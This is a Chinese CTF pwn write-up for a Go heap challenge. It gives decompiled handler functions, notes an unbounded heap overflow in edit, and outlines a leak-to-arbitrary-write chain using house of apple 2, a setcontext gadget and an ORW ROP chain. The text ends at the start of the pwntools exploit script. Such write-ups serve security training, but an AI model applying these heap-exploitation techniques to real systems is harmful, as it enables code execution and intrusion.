文章目录
- 参考
- 沙箱
- 存在protobuf
- 逆向
- buy_book
- see_book
- return_book
- edit_book
- search_book
- 思路
- exp
参考
https://hakuya.work/post/7
https://akaieurus.github.io/2024/05/20/2024%E5%9B%BD%E8%B5%9B%E5%88%9D%E8%B5%9Bpwn-wp/#SuperHeap
https://blog.csdn.net/m0_63437215/article/details/127914567
沙箱
存在protobuf
工具提取
逆向
真难逆,通过字符串定位到相关函数,这里用来个map来int映射到函数,太难逆了,直接字符串定位算了
buy_book
// main.WEB5SF
// local variable allocation has failed, the output may be wrong!
__int64 __golang buy_book_(
__int64 a1,
__int64 a2,
__int64 a3,
__int64 a4,
__int64 a5,
__int64 a6,
int a7,
int a8,
int a9)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
while ( (unsigned __int64)&publishdata_ptr <= *(_QWORD *)(v9 + 16) )
a1 = runtime_morestack_noctxt(a1);
idx_string[0] = &RTYPE_string;
idx_string[1] = &index_string;
v10 = qword_41A3E8;
v11 = fmt_Fprint(
(unsigned int)io_write,
qword_41A3E8,
(unsigned int)idx_string,
1,
1,
(unsigned int)&index_string,
a7,
a8,
a9,
v79);
idx = input_number(v11, v10, v12, 1, 1);
if ( idx >= 0x1C || (v14 = book_chunk_array[idx]) != 0 )
{
Invalid[0] = &RTYPE_string;
Invalid[1] = &off_2BBBD0;
return fmt_Fprintln((unsigned int)io_write, qword_41A3E8, (unsigned int)Invalid, 1, 1, v14, v15, v16, v17, v80);
}
else
{
index = idx;
Special_Data[0] = &RTYPE_string;
Special_Data[1] = &off_2BBBE0;
v19 = qword_41A3E8;
v20 = fmt_Fprint(
(unsigned int)io_write,
qword_41A3E8,
(unsigned int)Special_Data,
1,
1,
(unsigned int)&off_2BBBE0,
v15,
v16,
v17,
v80);
specail_data = (char *)read_choice(v20);
specail_data_string.len = v19;
specail_data_string.ptr = specail_data;
v116 = encoding_base32__ptr_Encoding_DecodeString(qword_41A120, specail_data_string);// base32解码输入的
if ( v116.1.tab )
{
Error_decoding[0] = &RTYPE_string;
Error_decoding[1] = &Error__decoding;
return fmt_Fprintln(
(unsigned int)io_write,
qword_41A3E8,
(unsigned int)Error_decoding,
1,
1,
v22,
v23,
v24,
v25,
v81);
}
else
{
ptr = (int)v116.0.ptr;
cap = v116.0.cap;
input_mypackage_CTFBook = (mypackage_CTFBook *)runtime_newobject(
&RTYPE_mypackage_CTFBook,
v116.0.len,
v116.0.cap,
0,
(int)v116.1.data,
v22,
v23,
v24,
v25);
if ( github_com_golang_protobuf_proto_Unmarshal(// 使用protobuf解码
ptr,
v116.0.len,
cap,
(unsigned int)off_2BD1C8,
(_DWORD)input_mypackage_CTFBook,
v26,
v27,
v28,
v29,
v81) )
{
v105[0] = &RTYPE_string;
v105[1] = &Error__decoding;
return fmt_Fprintln((unsigned int)io_write, qword_41A3E8, (unsigned int)v105, 1, 1, v30, v31, v32, v33, v82);
}
else
{
v117 = encoding_base64__ptr_Encoding_DecodeString(qword_41A138, input_mypackage_CTFBook->Title);// 对title字段base64解码
if ( v117.1.tab )
{
errordeocd[0] = &RTYPE_string;
errordeocd[1] = &Error__decoding;
return fmt_Fprintln(
(unsigned int)io_write,
qword_41A3E8,
(unsigned int)errordeocd,
1,
1,
v34,
v35,
v36,
v37,
v82);
}
else
{
title_len = v117.0.len;
title_ptr = v117.0.ptr;
v118 = encoding_base64__ptr_Encoding_DecodeString(qword_41A138, input_mypackage_CTFBook->Author);// 对author字段base64解码
if ( v118.1.tab )
{
v114[0] = &RTYPE_string;
v114[1] = &Error__decoding;
return fmt_Fprintln((unsigned int)io_write, qword_41A3E8, (unsigned int)v114, 1, 1, v38, v39, v40, v41, v82);
}
else
{
author_ptr = v118.0.ptr;
author_len = v118.0.len;
v119 = encoding_base64__ptr_Encoding_DecodeString(qword_41A138, input_mypackage_CTFBook->Isbn);// 对isbn字段base64解码
if ( v119.1.tab )
{
v113[0] = &RTYPE_string;
v113[1] = &Error__decoding;
return fmt_Fprintln(
(unsigned int)io_write,
qword_41A3E8,
(unsigned int)v113,
1,
1,
v42,
v43,
v44,
v45,
v82);
}
else
{
isbn_ptr = v119.0.ptr;
isbn_len = v119.0.len;
v120 = encoding_base64__ptr_Encoding_DecodeString(qword_41A138, input_mypackage_CTFBook->PublishDate);// 对publishdata解码base64
if ( v120.1.tab )
{
v112[0] = &RTYPE_string;
v112[1] = &Error__decoding;
return fmt_Fprintln(
(unsigned int)io_write,
qword_41A3E8,
(unsigned int)v112,
1,
1,
v46,
v47,
v48,
v49,
v82);
}
else
{
publishdata_ptr = v120.0.ptr;
main__cgo_cmalloc(
(__int64)v120.0.ptr,
v120.0.len,
v120.0.cap,
0,
(int)v120.1.data,
v46,
v47,
v48,
v49,
48,
v85);
if ( malloc_for_book_struct_addr )// 由上面的main_cgo_cmalloc分配的
{
book_struct = (_QWORD *)malloc_for_book_struct_addr;
main__cgo_cmalloc(
title_len,
v120.0.len,
title_len + 1,
0,
(int)v120.1.data,
v50,
v51,
v52,
v53,
title_len + 1,
malloc_for_book_struct_addr);
v58 = 0x40000000LL;
if ( title_len < 0x40000000 )
v58 = title_len;
v96 = v58;
if ( dword_44AC30 )
{
LODWORD(v120.1.tab) = (_DWORD)book_struct;
runtime_gcWriteBarrier(malloc_title_ptr);
}
else
{
*book_struct = malloc_title_ptr;
}
main__cgo_cmalloc(
author_len,
v120.0.len,
author_len + 1,
(int)v120.1.tab,
(int)v120.1.data,
v54,
v55,
v56,
v57,
author_len + 1,
malloc_title_ptr);
if ( dword_44AC30 )
{
LODWORD(v120.1.tab) = (_DWORD)book_struct + 8;
runtime_gcWriteBarrier(malloc_author_ptr_1);
}
else
{
book_struct[1] = malloc_author_ptr_1;
}
main__cgo_cmalloc(
isbn_len,
v120.0.len,
isbn_len + 1,
(int)v120.1.tab,
(int)v120.1.data,
v59,
v60,
v61,
v62,
isbn_len + 1,
malloc_author_ptr_1);
if ( dword_44AC30 )
{
LODWORD(v120.1.tab) = (_DWORD)book_struct + 16;
runtime_gcWriteBarrier(malloc_isbn_ptr);
}
else
{
book_struct[2] = malloc_isbn_ptr;
}
main__cgo_cmalloc(
v120.0.len,
v120.0.len,
LODWORD(v120.0.len) + 1,
(int)v120.1.tab,
(int)v120.1.data,
v63,
v64,
v65,
v66,
LOBYTE(v120.0.len) + 1,
malloc_isbn_ptr);
if ( dword_44AC30 )
{
runtime_gcWriteBarrier(malloc_publishdata_ptr);
}
else
{
book_struct_addr = book_struct;
book_struct[3] = malloc_publishdata_ptr;
}
if ( title_ptr != (uint8 *)*book_struct_addr )
{
runtime_memmove(*book_struct_addr, title_ptr, v96);
book_struct_addr = book_struct;
}
malloc_author_ptr = (uint8 *)book_struct_addr[1];
author_len_1 = 0x40000000LL;
if ( author_len < 0x40000000 )
author_len_1 = author_len;
if ( author_ptr != malloc_author_ptr )
{
runtime_memmove(malloc_author_ptr, author_ptr, author_len_1);
book_struct_addr = book_struct;
}
malloc_isbn_ptr_1 = (uint8 *)book_struct_addr[2];
isbn_len_1 = 0x40000000LL;
if ( isbn_len < 0x40000000 )
isbn_len_1 = isbn_len;
if ( isbn_ptr != malloc_isbn_ptr_1 )
{
runtime_memmove(malloc_isbn_ptr_1, isbn_ptr, isbn_len_1);
book_struct_addr = book_struct;
}
malloc_publish_ptr = (uint8 *)book_struct_addr[3];
malloc_publishdata_len = 0x40000000LL;
if ( (__int64)v120.0.len < 0x40000000 )
malloc_publishdata_len = v120.0.len;
if ( publishdata_ptr != malloc_publish_ptr )
{
runtime_memmove(malloc_publish_ptr, publishdata_ptr, malloc_publishdata_len);
book_struct_addr = book_struct;
}
input_mypackage_CTFBook_1 = input_mypackage_CTFBook;
book_struct_addr[4] = *(_QWORD *)&input_mypackage_CTFBook->Price;
book_struct_addr[5] = input_mypackage_CTFBook_1->Stock;
if ( dword_44AC30 )
{
runtime_gcWriteBarrierDX(&book_chunk_array[index], v120.1.data, book_struct_addr);
}
else
{
v77 = index;
v78 = book_chunk_array;
book_chunk_array[index] = book_struct_addr;// 最后赋值到数组中
}
add_success[0] = &RTYPE_string;
add_success[1] = &Book_added_successfully;
return fmt_Fprintln(
(unsigned int)io_write,
qword_41A3E8,
(unsigned int)add_success,
1,
1,
v77,
(_DWORD)v78,
v67,
v68,
v84);
}
else
{
Failed_allocate_memory_Book[0] = &RTYPE_string;
Failed_allocate_memory_Book[1] = &off_2BBC00;
return fmt_Fprintln(
(unsigned int)io_write,
qword_41A3E8,
(unsigned int)Failed_allocate_memory_Book,
1,
1,
v50,
v51,
v52,
v53,
v83);
}
}
}
}
}
}
}
}
}
see_book
下次可以通过格式化字符串判断结构体的各个变量的类型
// main.CU5GMG
__int64 __golang see_book(
__int64 a1,
__int64 a2,
__int64 a3,
__int64 a4,
__int64 a5,
__int64 a6,
int a7,
int a8,
int a9)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
while ( (unsigned __int64)Invalid_index <= *(_QWORD *)(v9 + 16) )
a1 = runtime_morestack_noctxt(a1);
v86[0] = &RTYPE_string;
v86[1] = &index_string;
v10 = qword_41A3E8;
v11 = fmt_Fprint(
(unsigned int)io_write,
qword_41A3E8,
(unsigned int)v86,
1,
1,
(unsigned int)&index_string,
a7,
a8,
a9,
v69);
index = input_number(v11, v10, v12, 1, 1);
if ( index < 0x1C && (v19 = (_QWORD *)book_chunk_array[index]) != 0LL )
{
book_struct_addr = (_QWORD *)book_chunk_array[index];
v83 = runtime_gostring(*v19, v10, v14, 1, 1, v15, v16, v17, v18, v69);
v79 = v10;
v82 = runtime_gostring(book_struct_addr[1], v10, (_DWORD)book_struct_addr, 1, 1, v21, v22, v23, v24, v69);
v78 = v10;
v81 = runtime_gostring(book_struct_addr[2], v10, (_DWORD)book_struct_addr, 1, 1, v25, v26, v27, v28, v69);
v77 = v10;
v80 = runtime_gostring(book_struct_addr[3], v10, (_DWORD)book_struct_addr, 1, 1, v29, v30, v31, v32, v69);
v76 = v10;
v33 = &v69 + 16;
v68 = &v88;
((void (__fastcall *)(__int64 *))loc_C278B)(v33);
v39 = runtime_convTstring(v83, v79, v34, (_DWORD)v33, 1, v35, v36, v37, v38, v69, v70);
v87[0] = (__int64)&RTYPE_string;
v87[1] = v39;
v44 = runtime_convTstring(v82, v78, (unsigned int)&RTYPE_string, (_DWORD)v33, 1, v40, v41, v42, v43, v69, v70);
v87[2] = (__int64)&RTYPE_string;
v87[3] = v44;
v49 = runtime_convTstring(v81, v77, (unsigned int)&RTYPE_string, (_DWORD)v33, 1, v45, v46, v47, v48, v69, v70);
v87[4] = (__int64)&RTYPE_string;
v87[5] = v49;
v50 = v76;
v55 = runtime_convTstring(v80, v76, (unsigned int)&RTYPE_string, (_DWORD)v33, 1, v51, v52, v53, v54, v69, v70);
v87[6] = (__int64)&RTYPE_string;
v87[7] = v55;
v60 = runtime_convT64(book_struct_addr[4], v50, (_DWORD)book_struct_addr, (_DWORD)v33, 1, v56, v57, v58, v59, v69);
v87[8] = (__int64)&RTYPE_float64;
v87[9] = v60;
v65 = runtime_convT64(book_struct_addr[5], v50, (_DWORD)book_struct_addr, (_DWORD)v33, 1, v61, v62, v63, v64, v69);
v87[10] = (__int64)&RTYPE_int;
v87[11] = v65; // 前四个转换为字符串,后两个转换为整数
return fmt_Fprintf(
(unsigned int)io_write,
qword_41A3E8,
(unsigned int)"Title: %s\nAuthor: %s\nISBN: %s\nPublish Date: %s\nPrice: %.2f\nStock: %d",
69,
(unsigned int)v87,
6,
6,
v66,
v67,
v69,
v70,
v71,
v72,
v73,
v74,
v75);
}
else
{
Invalid_index[0] = &RTYPE_string;
Invalid_index[1] = &Invalid__index;
return fmt_Fprintln(
(unsigned int)io_write,
qword_41A3E8,
(unsigned int)Invalid_index,
1,
1,
v15,
v16,
v17,
v18,
v69);
}
}
return_book
// main.F3ZJ75
__int64 __golang return_book(
__int64 a1,
__int64 a2,
__int64 a3,
__int64 a4,
__int64 a5,
__int64 a6,
int a7,
int a8,
int a9)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
while ( (unsigned __int64)&retaddr <= *(_QWORD *)(v9 + 16) )
a1 = runtime_morestack_noctxt(a1);
v48[0] = &RTYPE_string;
v48[1] = &index_string;
v10 = qword_41A3E8;
v11 = fmt_Fprint(
(unsigned int)io_write,
qword_41A3E8,
(unsigned int)v48,
1,
1,
(unsigned int)&index_string,
a7,
a8,
a9,
v39);
index = input_number(v11, v10, v12, 1, 1);
if ( index < 0x1C && (book_struct_addr_1 = (__int64 *)book_chunk_array[index]) != 0LL )
{
index_1 = index;
book_struct_addr = book_chunk_array[index];
main_F3ZJ75_func1(book_struct_addr_1, v10, v14, 1LL, 1, (int)book_struct_addr_1, v16, v17, v18);
main_F3ZJ75_func2(book_struct_addr, v10, v20, 1, 1, v21, v22, v23, v24, v40);
main_F3ZJ75_func3(book_struct_addr, v10, v25, 1, 1, v26, v27, v28, v29, v41);
main_F3ZJ75_func4(book_struct_addr, v10, v30, 1, 1, v31, v32, v33, v34, v42);// 是对四个堆指针做检查然后free掉
if ( dword_44AC30 )
{
runtime_gcWriteBarrierDX(&book_chunk_array[index_1], 1LL, 0LL);
}
else
{
v38 = book_chunk_array;
book_chunk_array[index_1] = 0LL; // 清零
}
Book_returne_suceess[0] = &RTYPE_string;
Book_returne_suceess[1] = &::Book_returne_suceess;
return fmt_Fprintln(
(unsigned int)io_write,
qword_41A3E8,
(unsigned int)Book_returne_suceess,
1,
1,
(_DWORD)v38,
v35,
v36,
v37,
v43);
}
else
{
v47[0] = &RTYPE_string;
v47[1] = &Invalid__index;
return fmt_Fprintln(
(unsigned int)io_write,
qword_41A3E8,
(unsigned int)v47,
1,
1,
(_DWORD)book_struct_addr_1,
v16,
v17,
v18,
v40);
}
}
edit_book
// main.OMJP7W
// local variable allocation has failed, the output may be wrong!
__int64 __golang main_OMJP7W(
__int64 a1,
__int64 a2,
__int64 a3,
__int64 a4,
__int64 a5,
__int64 a6,
int a7,
int a8,
int a9)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
while ( (unsigned __int64)&author_ptr <= *(_QWORD *)(v9 + 16) )
a1 = runtime_morestack_noctxt(a1);
v82[0] = &RTYPE_string;
v82[1] = &index_string;
v10 = qword_41A3E8;
v11 = fmt_Fprint(
(unsigned int)io_write,
qword_41A3E8,
(unsigned int)v82,
1,
1,
(unsigned int)&index_string,
a7,
a8,
a9,
v58);
index = input_number(v11, v10, v12, 1, 1);
if ( index < 0x1C && (v14 = book_chunk_array[index]) != 0 )
{
index_1 = index;
Special_Data[0] = &RTYPE_string;
Special_Data[1] = &Special__Data;
v19 = qword_41A3E8;
v20 = fmt_Fprint(
(unsigned int)io_write,
qword_41A3E8,
(unsigned int)Special_Data,
1,
1,
(unsigned int)&Special__Data,
v15,
v16,
v17,
v59);
specail_data = (char *)input(v20);
v84.len = v19;
v84.ptr = specail_data;
v85 = encoding_base32__ptr_Encoding_DecodeString(qword_41A120, v84);// base32解码
if ( v85.1.tab )
{
v79[0] = &RTYPE_string;
v79[1] = &Error__decoding;
return fmt_Fprintln((unsigned int)io_write, qword_41A3E8, (unsigned int)v79, 1, 1, v22, v23, v24, v25, v60);
}
else
{
ptr = (int)v85.0.ptr;
cap = v85.0.cap;
p_mypackage_CTFBook = (mypackage_CTFBook *)runtime_newobject(
&RTYPE_mypackage_CTFBook,
v85.0.len,
v85.0.cap,
0,
(int)v85.1.data,
v22,
v23,
v24,
v25);
if ( github_com_golang_protobuf_proto_Unmarshal(// protobuf反序列化
ptr,
v85.0.len,
cap,
(unsigned int)off_2BD1C8,
(_DWORD)p_mypackage_CTFBook,
v26,
v27,
v28,
v29,
v60) )
{
v78[0] = &RTYPE_string;
v78[1] = &Error__decoding;
return fmt_Fprintln((unsigned int)io_write, qword_41A3E8, (unsigned int)v78, 1, 1, v30, v31, v32, v33, v61);
}
else
{
v86 = encoding_base64__ptr_Encoding_DecodeString(qword_41A138, p_mypackage_CTFBook->Title);
if ( v86.1.tab )
{
v77[0] = &RTYPE_string;
v77[1] = &Error__decoding;
return fmt_Fprintln((unsigned int)io_write, qword_41A3E8, (unsigned int)v77, 1, 1, v34, v35, v36, v37, v61);
}
else
{
title_len = v86.0.len;
title_ptr = v86.0.ptr;
v87 = encoding_base64__ptr_Encoding_DecodeString(qword_41A138, p_mypackage_CTFBook->Author);
if ( v87.1.tab )
{
v76[0] = &RTYPE_string;
v76[1] = &Error__decoding;
return fmt_Fprintln((unsigned int)io_write, qword_41A3E8, (unsigned int)v76, 1, 1, v38, v39, v40, v41, v61);
}
else
{
author_len = v87.0.len;
author_ptr = v87.0.ptr;
v88 = encoding_base64__ptr_Encoding_DecodeString(qword_41A138, p_mypackage_CTFBook->Isbn);
if ( v88.1.tab )
{
v75[0] = &RTYPE_string;
v75[1] = &Error__decoding;
return fmt_Fprintln(
(unsigned int)io_write,
qword_41A3E8,
(unsigned int)v75,
1,
1,
v42,
v43,
v44,
v45,
v61);
}
else
{
isbn_len = v88.0.len;
isbn_ptr = v88.0.ptr;
v89 = encoding_base64__ptr_Encoding_DecodeString(qword_41A138, p_mypackage_CTFBook->PublishDate);
if ( v89.1.tab )
{
v74[0] = &RTYPE_string;
v74[1] = &Error__decoding;
return fmt_Fprintln(
(unsigned int)io_write,
qword_41A3E8,
(unsigned int)v74,
1,
1,
v46,
v47,
v48,
v49,
v61);
}
else
{
publishdata_ptr = v89.0.ptr;
book_struct_addr = (_QWORD *)book_chunk_array[index_1];
book_struct_addr_1 = book_struct_addr;
title_len_1 = 0x40000000LL;
if ( title_len < 0x40000000 )
title_len_1 = title_len;
if ( title_ptr != (uint8 *)*book_struct_addr )
{
runtime_memmove(*book_struct_addr, title_ptr, title_len_1);// 根据输入的调整len,没有限制,以下都一样
v89.0.ptr = publishdata_ptr;
book_struct_addr = book_struct_addr_1;
}
author_len_1 = 0x40000000LL;
if ( author_len < 0x40000000 )
author_len_1 = author_len;
if ( author_ptr != (uint8 *)book_struct_addr[1] )
{
runtime_memmove(book_struct_addr[1], author_ptr, author_len_1);
v89.0.ptr = publishdata_ptr;
book_struct_addr = book_struct_addr_1;
}
isbn_len_1 = 0x40000000LL;
if ( isbn_len < 0x40000000 )
isbn_len_1 = isbn_len;
v54 = (int)isbn_ptr;
if ( isbn_ptr != (uint8 *)book_struct_addr[2] )
{
runtime_memmove(book_struct_addr[2], isbn_ptr, isbn_len_1);
v89.0.ptr = publishdata_ptr;
book_struct_addr = book_struct_addr_1;
}
publishdata_len = 0x40000000LL;
if ( (__int64)v89.0.len < 0x40000000 )
publishdata_len = v89.0.len;
if ( v89.0.ptr != (uint8 *)book_struct_addr[3] )
{
runtime_memmove(book_struct_addr[3], v89.0.ptr, publishdata_len);
book_struct_addr = book_struct_addr_1;
}
v56 = p_mypackage_CTFBook;
book_struct_addr[4] = *(_QWORD *)&p_mypackage_CTFBook->Price;
Stock = v56->Stock;
book_struct_addr[5] = Stock; // 最后两项没法溢出
v83[0] = &RTYPE_string;
v83[1] = &off_2BBC40;
return fmt_Fprintln(
(unsigned int)io_write,
qword_41A3E8,
(unsigned int)v83,
1,
1,
Stock,
v54,
v48,
v49,
v61);
}
}
}
}
}
}
}
else
{
v81[0] = &RTYPE_string;
v81[1] = &Invalid__index;
return fmt_Fprintln((unsigned int)io_write, qword_41A3E8, (unsigned int)v81, 1, 1, v14, v15, v16, v17, v59);
}
}
search_book
// main.NSKGUW
__int64 __golang search_book(
__int64 a1,
__int64 a2,
__int64 a3,
__int64 a4,
__int64 a5,
__int64 a6,
int a7,
int a8,
int a9)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
while ( (unsigned __int64)&v156 <= *(_QWORD *)(v9 + 16) )
a1 = runtime_morestack_noctxt(a1);
Keyword__[0] = &RTYPE_string;
Keyword__[1] = &Keyword_;
v10 = qword_41A3E8;
v11 = fmt_Fprint(
(unsigned int)io_write,
qword_41A3E8,
(unsigned int)Keyword__,
1,
1,
(unsigned int)&Keyword_,
a7,
a8,
a9,
*(__int64 *)v124);
keyword = input(v11);
len = v10; // v10可能存储input后输入的长度
v12 = book_chunk_array_copy;
com_success = book_chunk_array;
result = ((__int64 (__fastcall *)(__int64 *, _QWORD *))copy_array)(book_chunk_array_copy, book_chunk_array);// 这个是把将一个数组的数据赋值到另一个数组的数据的
index = 0LL;
is_have = 0;
while ( index < 28 )
{
index_1 = index;
v149 = is_have;
book_chunk_addr = (_QWORD *)book_chunk_array_copy[index];
book_chunk_addr_1 = book_chunk_addr;
if ( book_chunk_addr )
{
v21 = runtime_gostring(
*book_chunk_addr,
v10,
index,
(_DWORD)v12,
(_DWORD)com_success,
(_DWORD)book_chunk_addr,
v16,
v17,
v18,
*(__int64 *)v124);
if ( len == v10 ) // v10存储提取到的字符串长度
{
len_1 = v10;
v10 = keyword;
first_com_flag = runtime_memequal(v21, keyword, len_1);// 比较的
}
else
{
first_com_flag = 0;
}
if ( first_com_flag ) // 比较成功,没必要比较第二个
{
second_flag = 1;
}
else
{
v26 = runtime_gostring(
book_chunk_addr_1[1],
v10,
(_DWORD)book_chunk_addr_1,
(_DWORD)v12,
(_DWORD)com_success,
v22,
v16,
v17,
v18,
*(__int64 *)v124);
if ( len == v10 )
{
v27 = v10;
v10 = keyword;
second_flag = runtime_memequal(v26, keyword, v27);
}
else
{
second_flag = 0;
}
}
if ( second_flag ) // 比较成功,没必要比较第三个
{
third_flag = 1;
}
else
{
v29 = runtime_gostring(
book_chunk_addr_1[2],
v10,
(_DWORD)book_chunk_addr_1,
(_DWORD)v12,
(_DWORD)com_success,
v22,
v16,
v17,
v18,
*(__int64 *)v124);
if ( v10 == len )
third_flag = runtime_memequal(v29, keyword, v10);
else
third_flag = 0;
}
index = index_1;
is_have = v149;
v10 = len;
book_chunk_addr = book_chunk_addr_1;
LODWORD(com_success) = third_flag;
result = keyword;
}
else
{
LODWORD(com_success) = 0;
}
if ( (_BYTE)com_success ) // 比较成功,输出
{
v30 = runtime_gostring(
*book_chunk_addr,
v10,
index,
(_DWORD)v12,
(_DWORD)com_success,
(_DWORD)book_chunk_addr,
v16,
v17,
v18,
*(__int64 *)v124);
v31 = v10;
v32 = v30;
v35 = runtime_stringtoslicebyte((unsigned int)&v159, v30, v31, (_DWORD)v12, (_DWORD)com_success, v33, v34);
v162 = main_IDJS3Z(v35, v32, v36, (int)v12, (int)com_success, v37, v38, v39, v40, *(_slice_uint8 *)v124);
v152 = v32;
v45 = runtime_gostring(
book_chunk_addr_1[1],
v32,
(_DWORD)book_chunk_addr_1,
(_DWORD)v12,
(_DWORD)com_success,
v41,
v42,
v43,
v44,
v125);
v46 = v32;
v47 = v45;
v50 = runtime_stringtoslicebyte((unsigned int)&v158, v45, v46, (_DWORD)v12, (_DWORD)com_success, v48, v49);
v165 = main_IDJS3Z(v50, v47, v51, (int)v12, (int)com_success, v52, v53, v54, v55, v126);
v154 = v47;
v60 = runtime_gostring(
book_chunk_addr_1[2],
v47,
(_DWORD)book_chunk_addr_1,
(_DWORD)v12,
(_DWORD)com_success,
v56,
v57,
v58,
v59,
v127);
v61 = v47;
v62 = v60;
v65 = runtime_stringtoslicebyte((unsigned int)&v157, v60, v61, (_DWORD)v12, (_DWORD)com_success, v63, v64);
v164 = main_IDJS3Z(v65, v62, v66, (int)v12, (int)com_success, v67, v68, v69, v70, v128);
v153 = v62;
v75 = runtime_gostring(
book_chunk_addr_1[3],
v62,
(_DWORD)book_chunk_addr_1,
(_DWORD)v12,
(_DWORD)com_success,
v71,
v72,
v73,
v74,
v129);
v76 = v62;
v77 = v75;
v80 = runtime_stringtoslicebyte((unsigned int)&v155, v75, v76, (_DWORD)v12, (_DWORD)com_success, v78, v79);
v163 = main_IDJS3Z(v80, v77, v81, (int)v12, (int)com_success, v82, v83, v84, v85, v130);
((void (__fastcall *)(_QWORD *))loc_C2786)(Keyword__);
v91 = runtime_convT64(index_1, v77, v86, (unsigned int)Keyword__, (_DWORD)com_success, v87, v88, v89, v90, v131);
v168[0] = (__int64)&RTYPE_int;
v168[1] = v91;
v96 = runtime_convTstring(
v162,
v152,
(unsigned int)&RTYPE_int,
(unsigned int)Keyword__,
(_DWORD)com_success,
v92,
v93,
v94,
v95,
v132,
v139);
v168[2] = (__int64)&RTYPE_string;
v168[3] = v96;
v101 = runtime_convTstring(
v165,
v154,
(unsigned int)&RTYPE_string,
(unsigned int)Keyword__,
(_DWORD)com_success,
v97,
v98,
v99,
v100,
v133,
v140);
v168[4] = (__int64)&RTYPE_string;
v168[5] = v101;
v106 = runtime_convTstring(
v164,
v153,
(unsigned int)&RTYPE_string,
(unsigned int)Keyword__,
(_DWORD)com_success,
v102,
v103,
v104,
v105,
v134,
v141);
v168[6] = (__int64)&RTYPE_string;
v168[7] = v106;
v111 = runtime_convTstring(
v163,
v77,
(unsigned int)&RTYPE_string,
(unsigned int)Keyword__,
(_DWORD)com_success,
v107,
v108,
v109,
v110,
v135,
v142);
v168[8] = (__int64)&RTYPE_string;
v168[9] = v111;
v116 = runtime_convT64(
book_chunk_addr_1[4],
v77,
(unsigned int)&RTYPE_string,
(unsigned int)Keyword__,
(_DWORD)com_success,
v112,
v113,
v114,
v115,
v136);
v168[10] = (__int64)&RTYPE_float64;
v168[11] = v116;
v121 = runtime_convT64(
book_chunk_addr_1[5],
v77,
(unsigned int)&RTYPE_float64,
(unsigned int)Keyword__,
(_DWORD)com_success,
v117,
v118,
v119,
v120,
v137);
v168[12] = (__int64)&RTYPE_int;
v168[13] = v121;
LODWORD(v12) = 79;
fmt_Fprintf(
(unsigned int)io_write,
qword_41A3E8,
(unsigned int)"Index: %d\nTitle: %s\nAuthor: %s\nISBN: %s\nPublish Date: %s\nPrice: %.2f\nSt",
79,
(unsigned int)v168,
7,
7,
v122,
v123,
v138,
v143,
v144,
v145,
v146,
v147,
v148);
result = keyword;
index = index_1;
is_have = v149;
v10 = len;
LODWORD(com_success) = (unsigned __int8)com_success;
}
++index;
is_have |= (unsigned __int8)com_success;
}
if ( !is_have ) // 没有匹配的
{
No_matching_books_[0] = &RTYPE_string;
No_matching_books_[1] = &No_matching_books;
return fmt_Fprintln(
(unsigned int)io_write,
qword_41A3E8,
(unsigned int)No_matching_books_,
1,
1,
(_DWORD)book_chunk_addr,
v16,
v17,
v18,
*(__int64 *)v124);
}
return result;
}
思路
edit存在任意长度溢出,每次add会分配多个chunk(应该是6个 4个是内部数据 1个当做接受输入的special数据 一个当做book结构体地址 但调试时候断点malloc只有5个,不知道为什么,可能是那个函数不同,可能并不是分配的)
delete会将四个堆指针free掉,然后book_chunk_array对应位置清零,但不会free掉book_chunk
但感觉有edit任意长度溢出就行了,但add edit delete show都会对索引对应的chunk_array检查是否不为零
add会对输入的数据首先进行base32解码,然后protobuf反序列化,然后对前四个字段进行base64解码
-
可以直接从free掉的chunk得到从而利用残留的,bookstruct在的结构体size为0x40,然后剩余四个chunk是0x20
刚开始就存在巨多chunk, 泄露堆地址,申请两次,第7个0x20的chunk的fd部分仅仅是next部分所在的地址右移12位置,然后可以通过tcachebin泄露heap地址
申请第八个0x20的chunk会导致其到fastbin寻找,然后找到后会将fastbin的chunk放到tcache中 -
然后泄露libc基地址,虽然有很多无用的已经free掉的chunk干扰,但我们可以使得要构造的堆布局的大小不符合已经free的chunk就行,至于一些不会用到的堆布局的堆,我们让他依然来自bin就行了
我们要使得分配到一个非tcache大小的chunk,然后不是来自bin中的,然后free后能够进入unsortedbin,再通过溢出填充然后能够泄露,接下来分配book_struct不会来自bin中,由于是通过内容溢出,所以内容的chunk也要不来自bin,连着两个就可以实现第一个的内容溢出到第二个的内容 -
实现任意地址写,覆盖写一个book_struct结构的某个字段地址为sderr,然后可以写stderr的内容 ,依然是需要一个book_struct结构chunk和一个内容chunk和下一个book_struct
由于0x40会从free中的chunk分裂,所以得把他们全部消掉才行(保证没有大于0x40的就行),从smallbin消掉,然后此时再分配的会从之前free的0x500chunk分裂开,这样也可以溢出到修改book_struct写入stderr从而修改stderr
- house of apple 2 +setcontext+orw读取flag,由于最后执行篡改后的vtable中的函数时rdi是stderr,而rdx是wide_data,构造wide_data+0xa0为wide_data上rop链部分的位置,wide_data+0xa8为ret
这里还需要write_ptr不为零好像
.text:00000000000580DD mov rsp, [rdx+0A0h]
.text:00000000000580E4 mov rbx, [rdx+80h]
.text:00000000000580EB mov rbp, [rdx+78h]
.text:00000000000580EF mov r12, [rdx+48h]
.text:00000000000580F3 mov r13, [rdx+50h]
.text:00000000000580F7 mov r14, [rdx+58h]
.text:00000000000580FB mov r15, [rdx+60h]
.text:00000000000580FF test dword ptr fs:48h, 2
....
.text:00000000000581C6 mov rcx, [rdx+0A8h]
.text:00000000000581CD push rcx
.text:00000000000581CE mov rsi, [rdx+70h]
.text:00000000000581D2 mov rdi, [rdx+68h]
.text:00000000000581D6 mov rcx, [rdx+98h]
.text:00000000000581DD mov r8, [rdx+28h]
.text:00000000000581E1 mov r9, [rdx+30h]
.text:00000000000581E5 mov rdx, [rdx+88h]
.text:00000000000581EC xor eax, eax
.text:00000000000581EE retn
exp
from pwn import *
import base64
import bookProto_pb2
context(arch="amd64",os="linux")
p=process("./pwn")
libc=ELF("./libc.so.6")
def prepare(title,author,isbn,publish_date,price,stock):
book=bookProto_pb2.CTFBook()
book.title=base64.b64encode(title)
book.author=base64.b64encode(author)
book.isbn=base64.b64encode(isbn)
book.publish_date=base64.b64encode(publish_date)
book.price=price
book.stock=stock
pack=book.SerializeToString()
return pack
